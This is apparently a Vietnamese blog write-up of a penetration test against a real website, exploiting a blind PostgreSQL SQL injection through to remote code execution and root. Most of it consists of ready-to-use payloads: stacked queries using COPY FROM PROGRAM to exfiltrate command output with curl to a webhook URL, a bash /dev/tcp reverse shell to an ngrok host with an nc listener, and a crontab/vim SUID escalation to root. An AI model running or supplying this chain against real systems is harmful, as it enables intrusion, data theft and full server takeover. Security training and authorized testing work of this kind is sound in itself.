Khai thác SQL Injection (PostgreSQL) dẫn đến RCE
Tác giả được giao nhiệm vụ khai thác lỗ hổng SQL Injection có trong một trang web. Ngoài đọc data trong hệ thống, tác giả còn có thể tạo một Reverse Shell để thực hiện RCE, từ đó leo thang chiếm root.
Nguồn tham khảo:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
https://www.postgresql.org/docs/16/sql-copy.html
Khai thác SQL Injection, lấy thông tin về hệ thống
Giao diện phần đăng nhập của trang web trông như này:
Vì một vài lí do bảo mật, mình sẽ che URL của trang web và sửa một vài thông tin ở HTTP Response để tránh lộ lọt thông tin nhạy cảm
Rất nhanh mình đã phát hiện ra vị trí tồn tại lỗ hổng SQL Injection nằm tại tham số username
Request và Response của trang web
Sau khi chỉnh sửa input để câu truy vấn phía Back-end đúng cú pháp
Lỗ hổng SQL Injection này được xếp vào dạng Blind SQL Injection (vì không trả về kết quả của câu truy vấn). Sử dụng cách khai thác Time-based (hoặc dùng SQLMap nếu bạn lười), xác định được hệ quản trị cơ sở dữ liệu hệ thống đang sử dụng là PostgreSQL.
Thực thi OS Command
Qua một vài phút tìm kiếm trên Google, thêm được thông tin rằng PostgreSQL có thể thực hiện thực thi lệnh hệ thống và ghi kết quả vào trong cơ sở dữ liệu sử dụng lệnh COPY
với thiết lập PROGRAM
được chỉ định.
Sử dụng Payload dưới đây để thực hiện khai thác dữ liệu theo hướng Out-Of-Band
samuel'; DROP TABLE IF EXISTS samuel; CREATE TABLE samuel(cmd_output text); COPY samuel FROM PROGRAM 'curl https://webhook.site/7077641d-dcf2-4fbd-ab2d-f371421e14a5/$(whoami)'; SELECT * FROM samuel; DROP TABLE IF EXISTS samuel; --
Payload được chia làm 4 phần chính:
Tạo một bảng mới để lưu dữ liệu bằng lệnh
CREATE TABLE
Thực thi OS command và lưu output vào bảng trên với cú pháp
COPY tên_bảng FROM PROGRAM ‘command_thực_thi’
Lấy output của command vừa thực thi bằng lệnh
SELECT * FROM tên_bảng
Kiểm tra và xóa bảng
DROP TABLE IF EXISTS tên_bảng
Nếu không xóa bảng, các command sau phải lưu vào một bảng mới, nếu không câu truy vấn sẽ lỗi và command sẽ không được thực thi.
Kết quả của lệnh whoami
được trả về trên webhook
Sau một vài điều chỉnh, mình quyết định gửi data lên theo phương thức POST, chủ yếu là để show được nhiều data hơn
samuel'; DROP TABLE IF EXISTS samuel; CREATE TABLE samuel(cmd_output text); COPY samuel FROM PROGRAM 'curl -X POST -d $(find / -type f -perm /6000 2>/dev/null) https://webhook.site/7077641d-dcf2-4fbd-ab2d-f371421e14a5'; SELECT * FROM samuel; DROP TABLE IF EXISTS samuel; --
Nhưng mà sử dụng phương pháp này mất quá nhiều bước để có thể lấy data ra, và mình thì rất lười.
Vậy nên mình chọn cách bật supersaiyan mode: tạo một reverse shell về máy của mình.
Tạo reverse shell
Về bản chất, khi PostgreSQL thực thi một OS Command, nó sẽ chạy lệnh này:
sh -c "command_của_bạn"
Có lẽ vì nó mà mình không thể trực tiếp thực thi lệnh tạo Reverse Shell khi đang SQL Injection. Nếu cố chấp, hệ thống sẽ trả về thông báo lỗi Child process exited with exit code 35
(hoặc cái gì đó tương tự), hoặc nếu cố tình spam Payload thì bạn sẽ bị Cloudflare block như này
Vậy nên mình sẽ chuyển hướng khai thác: tạo một file Bash script để thực hiện Reverse Shell.
Trước tiên thì cần phải chuẩn bị một vài thứ cho kết nối Reverse Shell đã
Cấu hình nc và ngrok
Trên máy tính cá nhân, mở terminal và gõ lệnh nc -lnvp 6969
để mở cổng 6969 ở trạng thái LISTEN
Sử dụng ngrok để tạo một forward ip, sử dụng giao thức TCP dẫn tới cổng 6969 ở localhost bằng lệnh ngrok tcp 6969
Tạo folder chứa file script và tạo file script bằng Payload:
samuel'; DROP TABLE IF EXISTS samuel; CREATE TABLE samuel(cmd_output text); COPY samuel FROM PROGRAM 'mkdir /tmp/samuel; touch /tmp/samuel/rvs.sh'; SELECT * FROM samuel; DROP TABLE IF EXISTS samuel; --
Viết nội dung cho file script
samuel'; DROP TABLE IF EXISTS samuel; CREATE TABLE samuel(cmd_output text); COPY samuel FROM PROGRAM 'echo "#!/bin/bash" > /tmp/samuel/rvs.sh; curl -X POST -d $(cat /tmp/samuel/rvs.sh) https://webhook.site/7077641d-dcf2-4fbd-ab2d-f371421e14a5'; SELECT * FROM samuel; DROP TABLE IF EXISTS samuel; --
Vì không thể viết nhiều dòng một lúc cho file script, mình sử dụng >>
để viết tiếp nội dung của dòng tiếp theo cho file
samuel'; DROP TABLE IF EXISTS samuel; CREATE TABLE samuel(cmd_output text); COPY samuel FROM PROGRAM 'echo "bash -i >& /dev/tcp/0.tcp.ap.ngrok.io/19711 0>&1" >> /tmp/samuel/rvs.sh; curl -X POST -d $(cat /tmp/samuel/rvs.sh) https://webhook.site/7077641d-dcf2-4fbd-ab2d-f371421e14a5'; SELECT * FROM samuel; DROP TABLE IF EXISTS samuel; --
Thiết lập quyền thực thi cho file script
samuel'; DROP TABLE IF EXISTS samuel; CREATE TABLE samuel(cmd_output text); COPY samuel FROM PROGRAM 'chmod 777 /tmp/samuel/rvs.sh'; SELECT * FROM samuel; DROP TABLE IF EXISTS samuel; --
Thực thi file script
samuel'; DROP TABLE IF EXISTS samuel; CREATE TABLE samuel(cmd_output text); COPY samuel FROM PROGRAM 'cd /tmp/samuel; ./rvs.sh'; SELECT * FROM samuel; DROP TABLE IF EXISTS samuel; --
Tại terminal chạy nc
nhận được kết nối đến. Chạy thử lệnh whoami
và có được kết quả trả về
Thực hiện Reverse Shell thành công!!
Thực hiện leo thang phân quyền và chiếm root
Sau khi tìm kiếm tất cả các file được thiết lập SUID, đây là kết quả trả về
Thử với lệnh su
, hệ thống trả về lỗi must be run from a terminal
Sau một hồi mày mò, mình phát hiện ra: cái Reverse Shell của mình đang không phải là Interactive Shell.
Để sửa lỗi đó thì đơn giản thôi, chỉ cần gõ lệnh sau đây:
/usr/bin/script -qc /bin/bash /dev/null
Sau đó mình có thể thực thi lệnh su
một cách bình thường, nhưng hệ thống lại yêu cầu mật khẩu để có thể trở thành người dùng root, mà mình thì không biết mật khẩu là gì…
Vậy nên mình cần tìm cách khác để chiếm quyền root của hệ thống.
Mình thấy người dùng hiện tại cũng được set SUID cho lệnh crontab
. Sau khi tham khảo https://gtfobins.github.io/, mình đã thấy được cách để leo lên root từ lệnh crontab
Chạy lệnh crontab -e
, terminal chuyển sang chế độ chỉnh sửa các dịch vụ crontab đang có trong hệ thống
Mặc định, crontab
sẽ sử dụng VIM làm trình chỉnh sửa chính. Mình có thể sử dụng chế độ COMMAND mode của VIM để tạo một shell mới bằng cú pháp:
:!/bin/sh
Kiểm tra người dùng hiện tại trong shell mới tạo ra, kết quả trả về root.
Quá trình leo thang chiếm root đã thành công!!
Đọc đến đây có thể các bạn sẽ đặt câu hỏi: TẠI SAO SỬ DỤNG CRONTAB LẠI CÓ THỂ CHIẾM ĐƯỢC QUYỀN ROOT?
Mình sẽ (cố gắng) giải thích một cách dễ hiểu nhất có thể:
Lệnh crontab được thiết lập quyền SUID từ người dùng root
Với quyền SUID được thiết lập, người dùng hiện tại có thể chạy crontab dưới quyền của người sở hữu, trong trường hợp này là người dùng root
=> TÓM LẠI LÀ: Người dùng postgres được phép chạy crontab dưới quyền của người dùng root
Lệnh
crontab -e
để sửa tiến trình crontab hiện tại của người dùng. Nếu không có tiến trình nào, crontab sẽ tạo một tiến trình mớicrontab sử dụng VIM làm editor mặc định, nên khi sửa hoặc tạo mới tiến trình, giao diện của VIM editor sẽ hiện lên
VIM có 2 chế độ chính: INSERT mode dùng để thêm sửa xóa dữ liệu, và COMMAND mode để thực thi các lệnh hệ thống sử dụng cú pháp
:!
. Chạy lệnh:!/bin/sh
để sinh ra một shell sh mới bên trong VIM
Vì người dùng hiện tại đang chạy lệnh
crontab -e
bằng quyền root, tiến trình VIM editor dùng để sửa các tiến trình crontab cũng sẽ được chạy dưới quyền root. Và từ đó, khi sử dụng COMMAND mode của VIM editor để tạo ra một shell mới, chúng ta sẽ tương tác với shell đó dưới quyền root.